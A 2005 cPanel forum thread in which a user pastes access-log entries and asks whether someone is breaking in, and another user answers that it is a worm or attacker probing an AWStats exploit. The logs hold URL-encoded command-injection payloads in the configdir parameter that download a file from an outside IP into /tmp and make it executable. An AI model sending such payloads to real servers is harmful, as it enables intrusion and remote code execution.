The Community Forums

Interact with an entire community of cPanel & WHM users!
  1. This site uses cookies. By continuing to use this site, you are agreeing to our use of cookies. Learn More.

stats 300 latest visitors not sure about an ip

Discussion in 'General Discussion' started by Envision5000, Dec 1, 2005.

  1. Envision5000

    Envision5000 Active Member

    Joined:
    Jul 5, 2005
    Messages:
    37
    Likes Received:
    0
    Trophy Points:
    6
    I get results like that before. Does this mean that someone is getting into cpanel?

    Host: 66.68.145.65 /awstats/awstats.pl?configdir=|echo;echo%20YYY;cd%20%2ftmp%3bwget%2024%2e224%2e174%2e18%2flisten%3bchmod%20%2b
    Http Code: HTTP/1.1" Date: Dec 01 12:30:56 Http Version: Size in Bytes: 406
    Referer: 359
    Agent: - Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)

    |
    |
    |
    /cgi-bin/awstats.pl?configdir=|echo;echo%20YYY;cd%20%2ftmp%3bwget%2024%2e224%2e174%2e18%2flisten%3bchmod%20%2b
    Http Code: HTTP/1.1" Date: Dec 01 12:30:57 Http Version: Size in Bytes: 406
    Referer: 359
    Agent: - Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)

    |
    |
    |
    /cgi-bin/awstats/awstats.pl?configdir=|echo;echo%20YYY;cd%20%2ftmp%3bwget%2024%2e224%2e174%2e18%2flisten%3bchm
    Http Code: HTTP/1.1" Date: Dec 01 12:30:58 Http Version: Size in Bytes: 406
    Referer: 367
    Agent: - Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)

    |
    |
    |
    /blog/xmlrpc.php
    Http Code: 404 Date: Dec 01 12:31:01 Http Version: HTTP/1.1 Size in Bytes: -
    Referer: -
    Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)

    |
     
  2. dalem

    dalem Well-Known Member
    PartnerNOC

    Joined:
    Oct 24, 2003
    Messages:
    2,577
    Likes Received:
    40
    Trophy Points:
    48
    Location:
    SLC
    cPanel Access Level:
    DataCenter Provider
    just some hacker or worm trying to get into a awstats exploit

    if your are not running awstats outside of cpanel they shoulde be geting a 404 page
     
Loading...

Share This Page